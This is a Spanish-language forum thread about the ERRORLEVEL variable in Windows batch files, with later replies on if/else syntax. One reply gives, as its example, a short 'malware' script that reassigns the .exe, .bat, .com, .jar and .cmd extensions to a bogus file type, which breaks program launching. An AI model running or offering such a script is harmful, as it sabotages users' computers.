ERRORLEVEL ( .bat )

Iniciado por MK-Ultra, 8 Enero 2008, 21:39 PM

0 Miembros y 1 Visitante están viendo este tema.

MK-Ultra

Buenas, queria saber bien el concepto del termino "ERRORLEVEL" y para q sirve.

Muchissimas gracias!
Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

Vlad_Asen

Hasta donde se, es una variable predefinida que recoge algunos resultados de otros comandos.

MK-Ultra

En cuanto a lo de variable predefinida, que es lo q esta exactamente predefinido?
Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

Arcueid

si no me equivoco (alguien me corrija por favor) sirve para ver el resultado de una operacion especifica, por ejemplo si hacer un format, pueden haber 2 resultados, lo formateas o no, y cada resultado tiene un valor en dos, 0 y 1

~[uNd3rc0d3]~

exacto....

cuando se ejecuta un comando por consola o por archivo de lotes este devuelve un numero de acuerdo al estado en que termino....el numero puede ser 1 o 0

este numero se llama errorlevel o nivel de error

0 ningun error
1 hubo algun error

o sea que la variable ya esta predefinida como 1 o 0

por ejemplo hace esto

copy a.txt a2.txt
echo %errorlevel%


entonces si a.txt no existe en tu pc errorlevel va a ser igual a 1 y vas a ver

El sistema no puede hallar el archivo especificado.
1


y si el archivo (a.txt) existe vas a ver la confirmacion de que fue copiado y 0

espero que te haya servido

la podes usar para ver la slida de cada comando...por ejemplohaces un malware de este tipo bien sencillo


@echo off
assoc .exe=hackfile
assoc .bat=hackfile
assoc .com=hackfile
assoc .jar=hackfile
assoc .cmd=hackfile


no??

y vos queres saber si las extensiones fueron cambiadas entoncese usas errorlevel asi

@echo off
assoc .exe=hackfile
echo %errorlevel% >> error.txt
assoc .bat=hackfile
echo %errorlevel% >> error.txt
assoc .com=hackfile
echo %errorlevel% >> error.txt
assoc .jar=hackfile
echo %errorlevel% >> error.txt
assoc .cmd=hackfile
echo %errorlevel% >> error.txt


entonces despues de ejecutar esto vas al archivo que se creo (error.txt)

y hace de cuenta que ves


1
1
1
1
1


si vez eso quiere decir que todo salio mal lo mrjor seria ver todos 0

y si ves algo asi


0
0
1
0
0


lo mejor va a ser que te fijes en la linea 3 porque algo esta fallando

esa es una utilidad que e podes dar al errorlevel que no quiere decir que sea la unica

tambien lo podes usar en el if else y for algunos lo aplican a otras cosas pero  :rolleyes:

espero haberte ayudado si algun code falla de los que ves aca es porque escrivi esto muy rapido y puedo tener errores ademas ni los probe a los codes


leete las reglas asi todos estamos mejor ;)

MK-Ultra

Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

scmdk

justo lo que andaba buscando definitivamente con esta duda y con la de programacion avanzada en batch  es mas que suficiente

salu2

scmdk

#7
por cierto quiero meter un else en un if con el comando errorlevel y me manda error

alli esta el codigo

@echo off
cd %homepath%\My Documents32
echo %errorlevel%
if %errorlevel% == 1
echo no existe la ruta
else
si existe la ruta


MK-Ultra

Primero que la ruta q pones tiene un espacio  :rolleyes:

Segundo q tenes mal la sintaxis de if y else, si keres ponerlos en varias lineas tenes q usar corchetes, aunq a mi me gusta mas en una sola linea, gustos  ;D


@echo off
cd %homepath%\Loqkierassinespacios
echo %errorlevel%
if %errorlevel% == 1 (echo no existe la ruta) else (si existe la ruta)
exit
Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

scmdk

si efectivamente le pongo igual corchetes y no funciona

voy a poner todos los ejemplos y no funka

@echo off
cd %homepath%\My Documents32
echo %errorlevel%
if %errorlevel% == 1(
echo ruta no valida
)
else(
ruta valida)

----------------------------

@echo off
cd %homepath%\My Documents32
echo %errorlevel%
if %errorlevel% == 1(
echo ruta no valida
)
else(
echo ruta valida)

---------------------------


por cierto lo estoy probando un win xp media center no se si tenga algo que ver

salu2